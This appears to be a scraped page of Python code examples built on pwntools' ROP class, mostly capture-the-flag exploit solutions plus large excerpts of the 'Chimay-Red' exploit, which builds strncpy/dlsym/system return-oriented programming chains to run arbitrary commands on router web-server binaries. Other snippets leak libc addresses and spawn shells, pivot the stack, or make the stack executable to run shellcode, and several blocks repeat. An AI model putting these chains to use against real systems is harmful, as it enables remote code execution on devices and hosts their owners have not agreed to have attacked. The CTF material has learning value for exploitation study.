コード例 #1
0
ファイル: rop.py プロジェクト: y3n11/Chimay-Red
    def __init__(self, binary: ELF, command=None):
        default_command = "/bin/touch /tmp/foobar-" + "".join(
            random.sample(string.ascii_letters, 5))

        self._chain = None
        self._offsets = None
        self._command = command or default_command

        with context.local():
            context.log_level = "WARNING"  # Suppress ELF metadata print from pwntools
            if isinstance(binary, str):
                if os.path.isfile(binary):
                    self.binary = binary = ELF(binary)
            if not isinstance(binary, ELF):
                self.binary = binary = ELF.from_bytes(b"\x90" * 262144,
                                                      vma=0x8048000)
                self.rop = ROP([binary])
            else:
                self.binary = binary
                context.binary = self.binary.path
                self.rop = ROP([binary])
                context.arch = _bfdarch_patch()
                self.context = context

                self.build_offsets()
コード例 #2
0
def setRegisters(elf, registers):
    from pwn import ROP
    rop = ROP(elf)
    for t in rop.setRegisters(registers):
        value = t[0]
        gadget = t[1]
        if type(gadget) == pwnlib.rop.gadgets.Gadget:
            rop.raw(gadget.address)
            for reg in gadget.regs:
                if reg in registers:
                    rop.raw(registers[reg])
                else:
                    rop.raw(0)
    return rop
コード例 #3
0
ファイル: setup.py プロジェクト: GovanifY/ctf-re
def make_binary():
    # junk code generation
    write_junk_calls("main.c", 31, 2)
    write_junk_calls("main.c", 22)
    write_junk_body("main.c", 16)

    subprocess.call("make", stdout=FNULL, stderr=FNULL)

    # input correction
    elf = ELF("simple_rop_2")
    rop = ROP(elf)
    win1 = elf.symbols['win_function1']
    win2 = elf.symbols['win_function2']
    flag = elf.symbols['flag']
    POP_ONCE = (rop.find_gadget(['pop rdi', 'ret']))[0]
    RET = (rop.find_gadget(['ret']))[0]

    padding = b'A' * 24

    exploit = padding + p64(win1) + p64(win2)
    exploit += p64(POP_ONCE) + p64(0xABADBABE) + p64(RET) + p64(flag)
    # rop is saved as input
    f = open("input", "wb")
    f.write(exploit)
    f.close()

    # strip it after the ropchain building so they don't have the symbols but we do
    subprocess.call(["strip", "simple_rop_2"], stdout=FNULL, stderr=FNULL)

    # TESTING BINARY
    f = open("flag.txt", 'r')
    flag = f.readline()
    try:
        output = subprocess.check_output("./simple_rop_2 < input",
                                         shell=True,
                                         stderr=subprocess.STDOUT)
    except Exception as e:
        output = str(e.output)
    if not flag in output:
        return -1
    else:
        return 0
コード例 #4
0
def loadOffsets(binary, shellCmd):
    elf = ELF(binary)
    rop = ROP(elf)

    # www PLT symbols
    plt["strncpy"] = elf.plt['strncpy']
    plt["dlsym"] = elf.plt['dlsym']

    # Gadgets to clean the stack from arguments
    gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
    gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
    gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
    gadgets['p'] = rop.search(regs=["ebp"]).address

    # Gadget to jump on the result of dlsym (address of system)
    gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")

    system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
    cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))

    # get the address of the first writable segment to store strings
    writable_address = elf.writable_segments[0].header.p_paddr

    strings['system'] = writable_address
    strings['cmd'] = writable_address + 0xf
コード例 #5
0
ファイル: xpwn.py プロジェクト: tesuji/ctf-writeups
def main():
    elf_name = '/problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47/rop'
    elf = ELF(elf_name)
    offset_buf_to_eip = 0x18 + 4

    p = process(elf_name)

    rop_chain = ROP(elf)
    rop_chain.win_function1()
    rop_chain.win_function2(0xBAAAAAAD)
    rop_chain.flag(0xDEADBAAD)

    log.info(rop_chain.dump())

    payload = 'A' * offset_buf_to_eip
    payload += str(rop_chain)
    assert ('\n' not in payload)
    p.sendlineafter('input> ', payload)

    print(p.recv(4096))
コード例 #6
0
ファイル: solution.py プロジェクト: Gangana3/CTFs
def build_payload() -> bytes:
    rop = ROP(BINARY_PATH)

    for binary_function in BINARY_FUNCTIONS:
        rop.call(binary_function)

    rop.raw(LAST_ROP_ADDRESS)

    payload = b'4\n'
    payload += b'A' * 120
    payload += bytes(rop) + b'\n'

    return payload
コード例 #7
0
####################
#### CONNECTION ####
####################
LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False

LOCAL_BIN = "./vuln"
REMOTE_BIN = "~/vuln"  #For ssh
LIBC = ""  #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

if LOCAL:
    P = process(LOCAL_BIN)  # start the vuln binary
    ELF_LOADED = ELF(LOCAL_BIN)  # Extract data from binary
    ROP_LOADED = ROP(ELF_LOADED)  # Find ROP gadgets

elif REMOTETTCP:
    P = remote('10.10.10.10', 1339)  # start the vuln binary
    ELF_LOADED = ELF(LOCAL_BIN)  # Extract data from binary
    ROP_LOADED = ROP(ELF_LOADED)  # Find ROP gadgets

elif REMOTESSH:
    ssh_shell = ssh('bandit0',
                    'bandit.labs.overthewire.org',
                    password='******',
                    port=2220)
    p = ssh_shell.process(REMOTE_BIN)  # start the vuln binary
    elf = ELF(LOCAL_BIN)  # Extract data from binary
    rop = ROP(elf)  # Find ROP gadgets
コード例 #8
0
ファイル: rop.py プロジェクト: y3n11/Chimay-Red
class MikroROP(object):
    """
    MikroROP class
    """
    def __init__(self, binary: ELF, command=None):
        default_command = "/bin/touch /tmp/foobar-" + "".join(
            random.sample(string.ascii_letters, 5))

        self._chain = None
        self._offsets = None
        self._command = command or default_command

        with context.local():
            context.log_level = "WARNING"  # Suppress ELF metadata print from pwntools
            if isinstance(binary, str):
                if os.path.isfile(binary):
                    self.binary = binary = ELF(binary)
            if not isinstance(binary, ELF):
                self.binary = binary = ELF.from_bytes(b"\x90" * 262144,
                                                      vma=0x8048000)
                self.rop = ROP([binary])
            else:
                self.binary = binary
                context.binary = self.binary.path
                self.rop = ROP([binary])
                context.arch = _bfdarch_patch()
                self.context = context

                self.build_offsets()

    def get_pthread_stacksize(self, lookahead=100) -> hex:
        """

        :param lookahead:
        :return:
        """
        thread_size = None

        address = self.binary.symbols[b"main"]
        disasm = self.binary.disasm(address, lookahead).split("\n")

        for num, line in zip(range(len(disasm)), disasm):
            if re.search(r"(e8 .* ff ff)", line):
                thread_attr = disasm[num - 2]
                if "push" in thread_attr:
                    thread_size = thread_attr.partition("push")[-1].strip()
                    break

        if not thread_size:
            return False

        return thread_size

    # TODO: Update mmips symbol fetching
    def get_plt_symbols(self, architecture: str) -> dict:
        plt_symbols = dict()

        try:
            if architecture is "x86" or "mips":
                for sym_name in (b"strncpy", b"dlsym"):
                    plt_symbols[sym_name.decode()] = self.binary.plt[sym_name]
        except KeyError:
            log.critical(
                "Unkown error occured during fetching of symbols for " +
                architecture)
            raise

        return plt_symbols

    def generate_executable_segments(self) -> list:
        """

        :return:
        """
        executable_segments = list()

        for segment in self.binary.executable_segments:
            low = segment.header.p_vaddr
            high = segment.header.p_memsz + low

            if low or high:  # if not ZERO
                executable_segments.append((low, high))

        if not executable_segments:
            raise RuntimeError(
                "Could not locate any executable segments in binary")

        return executable_segments

    def generate_writeable_segments(self) -> list:
        """

        :return:
        """
        writeable_segments = list()

        for segment in self.binary.writable_segments:
            low = segment.header.p_vaddr
            high = segment.header.p_memsz + low

            if low or high:  # if not ZERO
                writeable_segments.append((low, high))

        if not writeable_segments:
            raise RuntimeError(
                "Could not locate any writeable segments in binary")

        return writeable_segments

    def generate_jmp_eax_gadget(self) -> int:
        """

        :return:
        """
        jmp_eax_re = re.compile(r"(.*jmp *eax)")

        for rx_segment_low, rx_segment_high in self.generate_executable_segments(
        ):
            for line in self.binary.disasm(rx_segment_low,
                                           rx_segment_high).split("\n"):
                if jmp_eax_re.search(line):
                    return int(str(line.split(":")[0].strip()), 16)

    def generate_stackpivots(self, architecture):
        """

        :param architecture:
        :return
        """
        # TODO
        arch_pivots = {
            "x86": {
                "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
                "pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
                "pivot1ret": self.rop.search(regs=["ebp"])
            },
            # "mips": {
            #     "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
            #     "pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
            #     "pivot1ret": self.rop.search(regs=["ebp"])
            # },
            # "arm": {
            #     "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
            #     "pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
            #     "pivot1ret": self.rop.search(regs=["ebp"])
            # }
        }

        stackpivots = arch_pivots.get(architecture)

        if not stackpivots:
            return False

        return stackpivots

    def generate_string_chunks(self, query: str):
        """

        :param query:
        :return:
        """
        return [[
            address for address in char
        ][0] for char in [self.binary.search(char) for char in query + "\x00"]]

    def generate_ascii_chunks(self):
        """

        :return:
        """
        ascii_chunks = dict()
        for char in string.printable + "\x00":
            ascii_chunks[char] = [
                address for address in self.binary.search(char)
            ][0] or None
        return ascii_chunks

    def build_offsets(self):
        """

        :return:
        """
        offsets = {
            "size": self.binary.data.__len__(),
            "base": self.binary.address,
            "thread_size": self.get_pthread_stacksize(),
            "segments": {
                "executable_segments": self.generate_executable_segments(),
                "writeable_segments": self.generate_writeable_segments()
            },
            "strings": {
                "ascii_chunks":
                self.generate_ascii_chunks(),
                "system":
                self.generate_writeable_segments()[1][0],
                "cmd": (self.generate_writeable_segments()[1][0] +
                        (self.binary.bits >> 1)),
            },
            "gadgets": {
                "jmp_eax": self.generate_jmp_eax_gadget(),
                "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
                "pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
                "pivot1ret": self.rop.search(regs=["ebp"]),
            },
            "plt": {
                "strncpy": self.get_plt_symbols(self.binary.arch)["strncpy"],
                "dlsym": self.get_plt_symbols(self.binary.arch)["dlsym"]
            }
        }
        self._offsets = namedtuple("offsets", sorted(offsets))(**offsets)

        return True

    def build_ropchain(self, offsets=None):
        """
            Command Eg. "ls -la"

            system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
                ("s", "y", "s", "t", "e", "m", "\x00")
            cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
                ("l", "s", " ", "-", "l", "a", "\x00")

            Psuedocode:
            -----------------------------
            char_size = 1
            char_pointer = 0

            for address in cmd_chunks:
                rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size))
                char_pointer += 1

            |<<<< rop.call(<dlsym>, args=(0, "system"))
            |
            |        eax = resultant pointer of dlsym()
            |
            |>>>> rop.call(<jmp eax>, args=(<command>))

            -----------------------------
        """

        char_size = 1
        cmd_chunks = list()
        system_chunks = list()

        if offsets:
            self._offsets = offsets
            for gadget_name, gadget in self.offsets.gadgets.items():
                if "pivot" in gadget_name:
                    self.binary.asm(gadget.address, "; ".join(gadget.insns))
            self.binary.save("/tmp/chimay_red.elf")

            with context.local():
                context.log_level = "WARNING"  # Suppress ELF metadata print from pwntools
                self.rop = ROP([ELF("/tmp/chimay_red.elf")])

        ascii_chunks = self.offsets.strings.get("ascii_chunks")
        if not ascii_chunks:
            log.critical("Offsets are currently not built!")

        for char in "system" + "\x00":
            if ascii_chunks.get(char):
                system_chunks.append(ascii_chunks[char])
            else:
                log.critical(
                    "Unable to locate enough readable characters in the binary to craft system chunks"
                )

        for char in self.command + "\x00":
            if ascii_chunks.get(char):
                cmd_chunks.append(ascii_chunks[char])
            else:
                log.critical(
                    "Unable to locate enough readable characters in the binary to craft desired command"
                )

        for length, address in zip(range(len(system_chunks)), system_chunks):
            self.rop.call(self.offsets.plt.get("strncpy"), [
                self.offsets.strings.get("system") + length, address, char_size
            ])
        # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))

        for length, address in zip(range(len(cmd_chunks)), cmd_chunks):
            self.rop.call(
                self.offsets.plt.get("strncpy"),
                [self.offsets.strings.get("cmd") + length, address, char_size])
        # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain()))

        self.rop.call(self.offsets.plt.get("dlsym"),
                      [0, self.offsets.strings.get("system")])
        # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))

        self.rop.call(self.offsets.gadgets.get("jmp_eax"),
                      [self.offsets.strings.get("cmd")])
        # print("EXPLOIT 4: ", hexlify(self.rop.chain()))

        self._chain = self.rop.chain()

    @property
    def command(self):
        """ The command property """
        return self._command

    @command.setter
    def command(self, value):
        self._command = value

    @property
    def offsets(self):
        """ The offsets property """
        return self._offsets

    @offsets.setter
    def offsets(self, value):
        self._offsets = value

    @property
    def chain(self):
        """ The ropchain property """
        return self._chain

    @chain.setter
    def chain(self, value):
        self._chain = value
コード例 #9
0
ファイル: rop.py プロジェクト: y3n11/Chimay-Red
    def build_ropchain(self, offsets=None):
        """
            Command Eg. "ls -la"

            system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
                ("s", "y", "s", "t", "e", "m", "\x00")
            cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
                ("l", "s", " ", "-", "l", "a", "\x00")

            Psuedocode:
            -----------------------------
            char_size = 1
            char_pointer = 0

            for address in cmd_chunks:
                rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size))
                char_pointer += 1

            |<<<< rop.call(<dlsym>, args=(0, "system"))
            |
            |        eax = resultant pointer of dlsym()
            |
            |>>>> rop.call(<jmp eax>, args=(<command>))

            -----------------------------
        """

        char_size = 1
        cmd_chunks = list()
        system_chunks = list()

        if offsets:
            self._offsets = offsets
            for gadget_name, gadget in self.offsets.gadgets.items():
                if "pivot" in gadget_name:
                    self.binary.asm(gadget.address, "; ".join(gadget.insns))
            self.binary.save("/tmp/chimay_red.elf")

            with context.local():
                context.log_level = "WARNING"  # Suppress ELF metadata print from pwntools
                self.rop = ROP([ELF("/tmp/chimay_red.elf")])

        ascii_chunks = self.offsets.strings.get("ascii_chunks")
        if not ascii_chunks:
            log.critical("Offsets are currently not built!")

        for char in "system" + "\x00":
            if ascii_chunks.get(char):
                system_chunks.append(ascii_chunks[char])
            else:
                log.critical(
                    "Unable to locate enough readable characters in the binary to craft system chunks"
                )

        for char in self.command + "\x00":
            if ascii_chunks.get(char):
                cmd_chunks.append(ascii_chunks[char])
            else:
                log.critical(
                    "Unable to locate enough readable characters in the binary to craft desired command"
                )

        for length, address in zip(range(len(system_chunks)), system_chunks):
            self.rop.call(self.offsets.plt.get("strncpy"), [
                self.offsets.strings.get("system") + length, address, char_size
            ])
        # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))

        for length, address in zip(range(len(cmd_chunks)), cmd_chunks):
            self.rop.call(
                self.offsets.plt.get("strncpy"),
                [self.offsets.strings.get("cmd") + length, address, char_size])
        # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain()))

        self.rop.call(self.offsets.plt.get("dlsym"),
                      [0, self.offsets.strings.get("system")])
        # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))

        self.rop.call(self.offsets.gadgets.get("jmp_eax"),
                      [self.offsets.strings.get("cmd")])
        # print("EXPLOIT 4: ", hexlify(self.rop.chain()))

        self._chain = self.rop.chain()
コード例 #10
0
ファイル: solve.py プロジェクト: tesuji/ctf-writeups
    def exploit(self):
        elf = self.elf
        libc = self.libc
        libc.symbols['OneGadget'] = 0x41320
        libc.symbols['/bin/sh'] = 0x001633e8
        base_data = 0x80

        #    (gdb) x/xg 0x00601560
        #    0x601560:       0x0000001500000064
        Turtle_say_sel_id = 0x0000001500000064

        with self.get_process(ld_linux=True) as self.p:

            # -- stage 1 ---------------------------------------------------------------

            ADDR_turtle = self.get_turtle_address()
            log.info('turtle : %s', hex(ADDR_turtle))
            data = '%sEND'
            ADDR_data = ADDR_turtle + base_data

            rop_chain = ROP(elf)
            rop_chain.printf(ADDR_data, elf.got['setvbuf'])
            rop_chain.main()
            log.debug('ROP CHAIN: \n%s', rop_chain.dump())

            payload = Attack.create_fake_turtle(ADDR_turtle, rop_chain.chain(),
                                                data, Turtle_say_sel_id)
            assert ('\n' not in payload)
            self.p.sendline(payload)

            if args.GDB:
                pause()

            leak = self.p.recvuntil('END', drop=True)
            ADDR_setvbuf = u64(leak.ljust(8, '\x00'))
            libc.address = ADDR_setvbuf - libc.symbols['setvbuf']
            ADDR_bin_sh = libc.symbols['/bin/sh']
            log.info('setvbuf   : %s', hex(ADDR_setvbuf))
            log.info('libc      : %s', hex(libc.address))
            log.info('/bin/sh   : %s', hex(ADDR_bin_sh))

            # -- stage 2 ---------------------------------------------------------------

            if args.GDB:
                pause()

            ADDR_turtle1 = self.get_turtle_address()
            log.info('turtle2   : %s', hex(ADDR_turtle1))
            data = '/bin/sh\x00'
            ADDR_data = ADDR_turtle1 + base_data

            rop_chain2 = ROP(libc)
            rop_chain2.system(ADDR_bin_sh)
            log.debug('ROP CHAIN: \n%s', rop_chain2.dump())

            payload = Attack.create_fake_turtle(ADDR_turtle1,
                                                rop_chain2.chain(), data,
                                                Turtle_say_sel_id)
            assert ('\n' not in payload)
            self.p.sendline(payload)

            self.p.sendline('ls -laF')
            self.p.sendline('cat flag*')
            self.p.interactive()
コード例 #11
0
ファイル: exploit.py プロジェクト: rmccarth/binexp
from pwn import process, ELF, ROP, packing, context, gdb
context.log_level = 'critical'
# enable/disable aslr: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space, echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

e = ELF("pivot")
l = ELF("libpivot.so")
p = process(e.path)
r = ROP(e)
pid = gdb.attach(p) # opens a new shell for gdb debugging

rop_addr = p.recvuntil("> ").split(b":")[1].split(b"\n")[0].lstrip().decode()
print("pivot @: " + rop_addr)

'''
pop rax; ret
xchg rsp, rax; ret

allows us to set the stack pointer to anything we want. 


exploit logic:

1) set stack pointer to 0x7ffff7be4f10 using xchg

---rop chain---
2) call foothold_function - this updates its entry in the .got.plt table
3) alter .got.plt address of .got.plt to be the address of the ret2win function in libpivot:
- pop rax
- addr_of_plt_got_foothold_function
- mov rax, qword ptr [rax]
- pop rbp
コード例 #12
0
def main():
    elf = ExploitInfo.elf
    addr___libc_stack_end = elf.sym['__libc_stack_end']
    addr___stack_prot = elf.sym['__stack_prot']
    MEM_PROT_FLAG = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC

    POP_EAX_RET = 0x80b81c6
    POP_EBX_RET = 0x80481c9
    POP_ECX_RET = 0x80de955
    POP_EDX_RET = 0x806f02a
    XOR_EAX_EAX_RET = 0x8049303
    INC_EAX_RET = 0x807a86f
    MOV_DWORD_EDX_EAX_RET = 0x80549db
    POP_ESI_RET = 0x8048433
    POP_EDI_RET = 0x8048480
    INT_80 = 0x806cc25
    PUSH_ESP_RET = 0x080b81d6

    rop = ROP(elf)
    rop.raw(POP_EDX_RET)
    rop.raw(addr___stack_prot)  # edx = &__stack_prot
    rop.raw(XOR_EAX_EAX_RET)

    for x in range(MEM_PROT_FLAG):  # eax = MEM_PROT_FLAG
        rop.raw(INC_EAX_RET)

    rop.raw(MOV_DWORD_EDX_EAX_RET)  # __stack_prot = MEM_PROT_FLAG
    rop.raw(POP_EAX_RET)  #
    rop.raw(addr___libc_stack_end)  # eax = &__libc_stack_end
    rop.call('_dl_make_stack_executable'
             )  # _dl_make_stack_executable(&__libc_stack_end)
    rop.raw(PUSH_ESP_RET)

    p = get_process()

    payload = 'A' * ExploitInfo.offset_eip
    payload += rop.chain()
    payload += ExploitInfo.shellcode_i386
    assert ('\x00' not in payload)

    p.clean()
    log.info("Sending: %r", payload)
    p.sendline(payload)

    p.clean(timeout=0.5)

    p.clean(timeout=0.5)
    log.success("Here are your shell!")
    p.sendline('ls -la')
    p.interactive()
    p.close()